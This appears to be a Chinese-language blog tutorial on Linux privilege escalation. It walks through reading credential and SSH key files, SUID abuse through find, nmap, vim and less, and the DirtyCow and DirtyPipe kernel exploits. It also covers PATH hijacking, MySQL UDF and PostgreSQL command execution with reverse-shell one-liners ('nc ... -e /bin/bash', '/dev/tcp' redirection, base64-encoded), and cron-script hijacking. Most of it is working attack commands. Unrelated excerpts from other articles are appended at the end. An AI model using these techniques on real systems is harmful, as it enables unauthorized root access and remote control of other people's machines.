LINUX提权入门手册
前言
发点存货
LINUX权限简介
在学习提权之前我们先了解一下linux里面的权限我们使用命令:
ls -al
即可查看列出文件所属的权限:
文件头前面都有一段类似的字符,下面我们仔细分析一下里面符号分别代表什么。
-rw-r--r-- 1 root root
第一个符号-的地方,可以是下面这些符号:
- : 代表普通文件
d:代表目录
l:代表软链接
b:代表块文件
c:代表字符设备
而后面的
rw-r--r--
表示的是文件所属的权限
r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw- 表示文件所拥有者的权限。
r-- 表示文件所在组的用户的权限。
r-- 表示其他组的用户的权限。
但如果是一个目录的话可以看下面的解读:
r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录
后面的数据1代表的内容如下:
如果文件类型为目录,表示目录下的子目录个数
如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
后面两个root的分别含义就是:第一个为该文件所有者为root 用户,第二个表示该文件所在组为root组。
信息收集
在提权之前我们要进行信息收集,例如系统信息,用户信息,安装的服务,计划任务等能被我们进一步利用的信息,这些信息在我们提权时会用到,因为这不是本文的重点于是就放一些链接大家去了解一下:
https://www.cnblogs.com/lzkalislw/p/15630934.html
下面就简单举一些经常需要用的信息收集命令:
查看系统信息(可用于内核提权)
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
用户权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
环境信息
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
进程和服务
ps aux
ps -ef
top
cat /etc/services
查看以root 运行的进程
ps aux | grep root
ps -ef | grep root
查看安装的软件(可用于第三方服务提权)
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
服务/插件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
计划任务(可用于计划任务提权)
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
有无明文存放用户密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
有无ssh 私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
可提权SUID && GUID(用于SUID提权)
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
查看安装过的工具
find / -name perl*
find / -name python*
find / -name gcc*
...
信息收集工具
通过上面这些命令可以看到如果我们一个一个的去查是很麻烦的,这里推荐大家使用信息收集脚本LinEnum.sh来去进行信息收集。
官方链接:https://github.com/rebootuser/LinEnum
下载后解压,先赋予LinEnum.sh执行权限:
chmod +x LinEnum.sh
之后就可以运行该脚本了:
./LinEnum.sh -r report -e /tmp/ -t #-e:将生成的一系列文件存放在何处,此处我们存放在靶机的/tmp目录下
这样就方便了我们进行下一步操作了,只需要在里面找能利用的数据就可以了。
SUID提权
要先了解SUID是什么:
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
设置SUID权限:
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
假设我们给一个文件赋予SUID权限:
赋予权限之后的文件信息为:
代表该文件已经获得了suid权限,这就是个人对于SUID的简单理解,那么该怎样利用呢。
我们先看一下常用的具有SUID权限的文件有哪些,常用命令如下:
find / -perm -u=s -type f 2>/dev/null #-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件
# 2>/dev/null 将find报错的信息重定向到null[空]
可以看到查询到了具有SUID权限的文件,包括上面我们增加了SUID权限的文件,当然简单总结一下我们常用SUID提权文件如下:
nmap
vim
find
bash
more
less
nano
cp
awk
下面简单举一些SUID提权的例子:
find
find是我们在linux中查找文件经常用到的命令,提权过程如下:
cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;
find xxx -exec /bin/sh \; 利用find得到一个root权限的shell
find xxx -exec nc -lvp 1234 -e /bin/sh \;利用nc反弹一个root权限的shell
namp
namp作为一个端口扫描工具被人们熟知,当目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权的,接下来给大家讲一下步骤:
早期nmap中有交互模式,我们可以用以下命令进入:
nmap --interactive //进入交互模式
然后我们在交互模式中输入以下命令进行提权:
nmap> !sh
sh-3.2# whoami
root
如果读者觉得手动比较麻烦,我们可以在MSF里寻找攻击脚本:
bash
我们可以用命令通过一个ROOT权限来打开bash shell:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
VIM
vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
nano
nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:
nano
Ctrl + R
Ctrl + X
即可进入命令行
less/more
less命令用于显示文件或命令输出的内容,它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致,但需要注意的是只有比较大的文件才能进行翻页:
less(or more) /etc/passwd
#在less(or more)中输入:
!/bin/sh
perl
perl命令作为linux中常用脚本也是可以进行提权的:
sudo perl -e 'exec "/bin/sh";'
ed
ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。
内核漏洞提权
即通过系统的内核漏洞来进行提权,因为涉及的范围比较多,作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示
dirtycow-exp:https://github.com/gbonacini/CVE-2016-5195
dirtycow-检测脚本:https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh
当我们获取服务器普通用户的权限后,可以尝试以下思路来进行脏牛提权:
上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
我们需要检测系统内核版本:
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a
当发现版本内核在脏牛影响的范围内时,拿到用户权限后将检测脚本上传至靶机:
upload /root/linux-exploit-suggester.sh /tmp/xino.sh
然后赋予该探针执行权限:
chmod 777 xino.sh
若要检测到存在,则继续上传我们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
执行后可得到root权限,提权脚本还可以通过searchsploit下载到本地:
searchsploit dirty
其他内核漏洞举例:
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102 https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
环境变量提权
PATH是Linux和类UNIX系统中的环境变量,指定存储可执行程序的所有bin和sbin目录,通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。
使用命令查看当前环境变量:
我们写一段demo:
#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
}
意思是通过root权限切换到xino用户,我们需要编译一下并赋予suid权限:
gcc demo.c -o shell
chmod u+s shell
当我们在服务器ls一下后发现了shell我们构造的shell文件,执行后发现当前用户切换了:
ls
./shell
了解到这里之后,我们思考一下,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。
echo命令法
echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell
cp法
cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell
软链接法
ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell
第三方服务提权
这个思路是用第三方服务的漏洞可以拿到主机的 root 权限,比如某个组件通过root权限启动,那么我们控制了组件就相当于得到了root权限。
MySQL UDF 提权
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。提权条件如下:
1.必须是root权限(需要创建和抛弃自定义函数)
2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件)
查看是否有写入权限:
show global variables like '%secure%';
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入或者导出做限制,此时可提权。限制条件如下:
mysql>5.1 mysql\lib\plugin
mysql<5.1 c:\\windows
可能读者不太明白限制条件是什么意思,如果我们要提权那么就要上传UDF 的动态链接库文件(实现共享函数库概念的一种方式),我们可以在SQLMAP(sqlmap\data\udf\mysql)或者MSF中找到内置的udf.dll文件,而这个udf.dll文件上传路径的限制条件就是上面提到的。下一步就是上传udf.dll文件,这里分为两种情况:
1.拥有webshell权限时
我们可以直接将udf.dll上传到指定目录的文件夹。
2.未拥有webshell权限时
由于我们不能直接上传了,所以需要通过查询语句来转码插入udf.dll的内容:
use mysql;
set @a=concat('',0x代码);
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
代码为select hex(load_file('c:/udf.dll'))中的内容
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数
select sys_exec('nc xxxx 6666 -e /bin/bash'); #执行
之后我们就提权成功了,监听一下就可以。
PostgreSQL
PostgreSQL是Mac OSX系统下最常用的数据库,当其版本位于9.3-11.2,允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令。基本流程如下:
drop table if exists cmd_exec; #先删除你想要使用但是已经存在的表
create table cmd_exec(cmd_output text); #创建保存系统命令输出的表
copy cmd_exec from program 'id'; #执行系统命令利用特定函数
select * from cmd_exec; #查看执行结果
而cmd_exec中的内容可以是反弹shell:
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/xxxx/xx 0>&1';
不过需要注意的是直接这样写会执行失败,我们需要将反弹shell的命令进行base64编码再传入:
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3h4eHgveHggMD4mMQ==
计划任务提权
定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。
crontabs基本格式如上图,假设我们设置了一个计划任务xino.py:
import os
import sys
try:os.system('rm -r /home/xino/*')
except:sys.exit()
删除xino目录下的所有文件,作为普通用户我们首先进入目录查看:
cat /etc/crontab
ls -al /tmp/xino.py
cat /tmp/xino.py
去修改这个计划任务来进行提权:
#!/user/bin/env python
import os
import sys
try:os.system(‘chmod u+s /bin/bash’)
except:sys.exit
上面代码大家应该不陌生,这涉及了上面的SUID提权,设置完后使用命令:
ls -la /bin/bash
发现属主的权限由x变成了s,成功设置了SUID权限,运行命令:
sudo bash -p
查询用户成功变成了root,提权就成功了。
漏洞探针
了解了以上提权的方法,因为我们在实战中不可能一个一个方法的去试,这样的话效率就太低了,这里给大家介绍一个漏洞探针工具linux-exploit-suggster2,该工具可以帮我们检查该系统当前可能存在的漏洞,我们只需要尝试去攻击。
官网链接:https://github.com/jondonas/linux-exploit-suggester-2
运用方法也很简单,解压后直接运行即可:
$ ./linux-exploit-suggester-2.plLocal Kernel: 4.4.0Searching among 73 exploits...
结语
因为提权的内容太多了,本文就简单总结了一下具有代表性的一些知识点,望大家多多包涵。
相关文章:
LINUX提权入门手册
前言 发点存货 LINUX权限简介 在学习提权之前我们先了解一下linux里面的权限我们使用命令: ls -al即可查看列出文件所属的权限: 文件头前面都有一段类似的字符,下面我们仔细分析一下里面符号分别代表什么。 -rw-r--r-- 1 root root 第一个符号-的…...
MSI_MSI-X中断之源码分析
MSI_MSI-X中断之源码分析 文章目录MSI_MSI-X中断之源码分析一、 怎么发出MSI/MSI-X中断1.1 在RK3399上体验1.1.1 安装工具1.1.2 查看设备MSI-X信息1.1.3 验证MSI-X信息二、 怎么使用MSI/MSI-X三、 MSI/MSI-X中断源码分析3.1 IRQ Domain创建流程3.1.1 GIC3.1.2 ITS3.1.3 PCI MSI…...
Docker--consul
目录 前言 一、Consul 简介 1.1、 consul 概述 1.2 、consul 的两种模式 1.3、consul 提供的一些关键特性 二、Consul 容器服务更新与发现 三、consul 部署 3.2、查看集群信息 四、registrator服务器 consul-template 五、consul 多节点 前言 服务注册与发现是微服…...
ESP-01S使用AT指令连接阿里云
ESP-01S使用AT指令连接阿里云 烧录MQTT AT固件 出厂的ESP-01S是基本的AT指令固件,没有MQTT的,所以无法通过MQTT指令与云平台通信,需要烧录固件(如果测试到有MQTT相关的指令,则不用重新烧录固件) 固件烧录…...
【Kafka】【三】安装Kafka服务器
Kafka基本知识 Kafka介绍 Kafka是最初由Linkedin公司开发,是⼀个分布式、⽀持分区的(partition)、多副本的 (replica),基于zookeeper协调的分布式消息系统,它的最⼤的特性就是可以实时的处理 …...
关于适配器模式,我遗漏了什么
近期有些tasks需要 重构or适配 老的代码。 与其向上面堆💩,不如优雅的去解决。 首先我的问题在于,错误的把 堆屎的操作 ,当作了适配器模式的操作。 比如原函数入参,需要更改某个属性,把这种操作外包一层…...
SQL Serve 日志体系结构
SQL Server 事务日志记录着 undo 及 redo 日志,为了保证数据库在崩溃后恢复,或者在正常数据库操作期间进行回滚,保证数据库事务完整性和持久化。如果没有事务日志记录,数据库在事务上将不一致,并且在数据库崩溃后可能导…...
【C++1】函数重载,类和对象,引用,string类,vector容器,类继承和多态,/socket,进程信号,public,ooci
文章目录1.函数重载:writetofile(),Ctrue和false,C0和非02.类和对象:vprintf2.1 构造函数:对成员变量初始化2.2 析构函数:一个类只有一个,不允许被重载3.引用:C中&取地址&#x…...
asio网络编程 tcp、udp、rpc
轻量级的tcp/udp/rpc库,简化socket程序编写。 同时,RPC部分也提供了方便易用的功能。 仓库地址 https://github.com/shuai132/asio_net asio_net a Tiny Async TCP/UDP/RPC library based on ASIO and RpcCore Features 简化TCP、UDP相关程序的编写…...
双目测距------双目相机V1.0,将双目相机采集到任意一点的深度数据进行串口传输(带源码)
Depth2Uart 双目测距------双目相机V1.0,将双目相机采集到任意一点的深度数据进行串口传输 一、项目说明/Overview 所实现的功能:基于Intel Realsense官方提供的SDK,双目深度相机能获取到相机任何一个像素点距离前方障碍物的距离࿰…...
jetson nano(ubuntu)安装Cmake
文章目录安装环境一.命令行安装二.Cmake源码编译安装安装环境 jetson nano 系统:4.6.1 一.命令行安装 sudo apt install cmake这种直接安装cmake的方式,其实安装的版本都太老了,这种方式不推荐 二.Cmake源码编译安装 更新一下系统软件 su…...
图的基本介绍和表示方式
图的基本介绍 为什么要有图这个基本数据结构? 我们还学习过线性表(数组、队列、链表和栈)和树,但是我们可以发现,线性表局限于一个直接前驱(就是只能有唯一一个前面的结点)和一个直接后继的(…...
本周大新闻|传微软解散工业元宇宙团队,MIT研发垂直堆叠全彩Micro LED
本周大新闻,AR方面,消息称微软解散工业元宇宙团队;德国AR公司Gixel GmbH亮相;Brilliant推出单片式附加形态AR眼镜;MIT研发垂直堆叠全彩Micro LED;谷歌XR串流正式上线。VR方面,索尼发布了PS VR2的…...
SpringMVC:拦截器(12)
拦截器1. 拦截器概念2. 拦截器入门案例2.1 环境准备2.2 拦截器开发步骤1: 创建拦截器类步骤2: 配置拦截器类步骤3: SpringMVC添加SpringMvcSupport包扫描和interceptor包扫描步骤4: 简化SpringMvcSupport的编写5 测试3. 拦截器参数解析(了解)3.1 前置处理…...
计算机网络3:HTTP1.0和HTTP1.1的区别
目录1. HTTP是什么2.HTTP1.0和HTTP1.1的区别3.名词解释(1)If-Modified-Since(IMS)、Expires(2)If-None-Match,Etag(3)If-Unmodified-Since1. HTTP是什么 超文本传输协议…...
Urho3D 编辑器说明
Urho3D编辑器是一个脚本应用程序,可以与Urho3D播放器应用程序一起运行。要开始,请执行以下任意命令:(在bin目录中)Editor.bat、Editor.sh或Urho3DPlayer Scripts/Editor.as Urho3D播放器应用程序支持的所有命令行选项…...
C++类基础(十一)
运算符重载(二) ● 对称运算符通常定义为非成员函数以支持首个操作数的类型转换 struct Str {int val 0;Str(int input): val(input){}auto operator(Str x){std::cout << "auto operator(Str x)\n";return Str(val x.val);} }; int …...
Windows安装系列:SVN Server服务
一、下载与安装 1、下载VisualSVN-Server-5.1.1-x64.msi 地址:Download | VisualSVN Server 2、找到最新版本SVN 5.1.1,直接双击它,弹出如下安装界面 3、点击Next 4、勾选我接受, 点击"Next" 5、默认选项,…...
快速傅里叶算法(FFT)快在哪里?
目录 前言 1、DFT算法 2、FFT算法 2.1 分类 2.2 以基2 DIT(时间抽取) FFT 算法为例 2.2.1 一次分解 2.2.2 多次分解 参考 前言 对信号分析的过程中,为了能换一个角度观察问题,很多时候需要把时域信号波形变换到频域进行分…...
利用Markdown写学术论文资料汇总贴
1是最详细的,重点看! Markdown 写作,Pandoc 转换:我的纯文本学术写作流程 2补充一些细节,也可以看看。 用Markdown写作学术论文 3写得和上面差不多,如果上面两篇有什么问题还没解决,可以看看…...
MySQL 高级查询
目录1.左关联2.右关联3.子查询4.联合查询5.分组查询1.左关联 MySQL中的左关联(Left Join)是一种基于共同列的连接操作, 它将左侧表中的所有行与右侧表中匹配的行结合在一起, 如果右侧表中没有匹配的行,则结果集中右侧…...
JavaSE学习day4_01 循环for,while,do...while
1. 循环高级 1.1 无限循环 for、while、do...while都有无限循环的写法。 最为常用的是while格式的。 因为无限循环是不知道循环次数的,所以用while格式的 代码示例: while(true){} 1.2 跳转控制语句(掌握) 跳转控制语句&…...
C/C++中的static关键字
概述在C/C中都有static关键字的使用,可以分别修饰变量和函数,分为静态变量【静态成员】、静态成员函数。2. static用法概况静态变量的作用范围在一个文件内,程序开始时分配空间,结束时释放空间,默认初始化为0ÿ…...
67 自注意力【动手学深度学习v2】
67 自注意力【动手学深度学习v2】 深度学习学习笔记 学习视频:https://www.bilibili.com/video/BV19o4y1m7mo/?spm_id_fromautoNext&vd_source75dce036dc8244310435eaf03de4e330 给定长为n 的序列,每个xi为长为d的向量,自注意力将xi 既当…...
电子学会2022年12月青少年软件编程(图形化)等级考试试卷(二级)答案解析
青少年软件编程(图形化)等级考试试卷(二级) 一、单选题(共25题,共50分) 1. 一个骰子,从3个不同角度看过去的点数如图所示,请问5的对面是什么点数?( ) …...
关于链表中插入结点的操作……
服了,好久没敲链表了,这都忘了 newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur-…...
【项目精选】百货中心供应链管理系统
点击下载源码 近年来,随着计算机技术的发展,以及信息化时代下企业对效率的需求,计算机技术与通信技术已经被越来越多地应用到各行各业中去。百货中心作为物流产业链中重要的一环,为了应对新兴消费方式的冲击,从供货到销…...
Qt优秀开源项目之十六:SQLite数据库管理系统—SQLiteStudio
首先,感谢CSDN官方认可 SQLiteStudio是一款开源、跨平台(Windows、Linux和MacOS)的SQLite数据库管理系统。 github地址:https://github.com/pawelsalawa/sqlitestudio 官网:https://sqlitestudio.pl/ 特性很多…...
Python __doc__属性:查看文档
在使用 dir() 函数和 __all__ 变量的基础上,虽然我们能知晓指定模块(或包)中所有可用的成员(变量、函数和类),比如:import string print(string.__all__)程序执行结果为:[ascii_lett…...
电子科技大学操作系统期末复习笔记(一):操作系统概述
目录 前言 操作系统概述 操作系统的目标与功能 操作系统的定义 目标 功能 操作系统的历史 单用户系统 简单批处理系统 多道批处理系统 分时系统 个人电脑 → 分布式系统 → 互联网时代 → 移动计算时代 → ...... 实时系统 操作系统的基本特征 并发 共享 虚拟…...
2008 iis 配置 asp网站/网站建设需要多少钱
本人在开发机器软件的时候,以为一个工程生成一个文件,其他的文件不影响。所以在生成目录不同的时候,会造成只拷贝单个文件程序运行不正常的现象。 描述如下:有一个WPF工程A,引用了3个动态库B.C.D,编译时输出…...
手机网站有什么区别是什么/安卓在线视频嗅探app
input[type"file"]上传文件原理详解 最近又搞了一下上传文件功能,用别人的插件不大符合自己要求,还是用HTML5的input[type"file"]比较好控制,现在重新回顾一下使用input[type"file"]上传文件 【1】修改input…...
无锡营销型网站制作/营业推广案例
编译程序总框 词法分析器的设计 词法分析的任务: 从左至右逐个字符地对源程序进行扫描,产生一个个单词符号, 词法分析器(Lexical Analyzer):扫描器(Scanner),执行词法分析的程序 功能:输入源程序、输出单…...
新浪云sae免费wordpress网站/推广手段和渠道有哪些
[LeetCode]1705.吃苹果的最大数目题目示例方法贪心题目 有一棵特殊的苹果树,一连 n 天,每天都可以长出若干个苹果。在第 i 天,树上会长出 apples[i] 个苹果,这些苹果将会在 days[i] 天后(也就是说,第 i d…...
wordpress 破解/百度公司推广电话
MySQL之表(或数据库)操作语言-01 学习目标MySQL之表(或数据库)操作语言-011. 表(或数据库)操作语句1.1 查询表(或数据库)1.2 新建表(或)数据库1.3 删除表(或数据库&#…...
jq插件网站/企业邮箱网页版
Memcached:Memcache就是一个普通的程序,这个程序进程先申请一个内存,预先将可支配的内存空间进行分区,每个分区里再分成多个块最大1M,但同一个分区里,块的长度是固定的,当数据来的时候通过SocketSocket有一个监听的端口,往端口发送一个字符串过来,解析字符串如果是插…...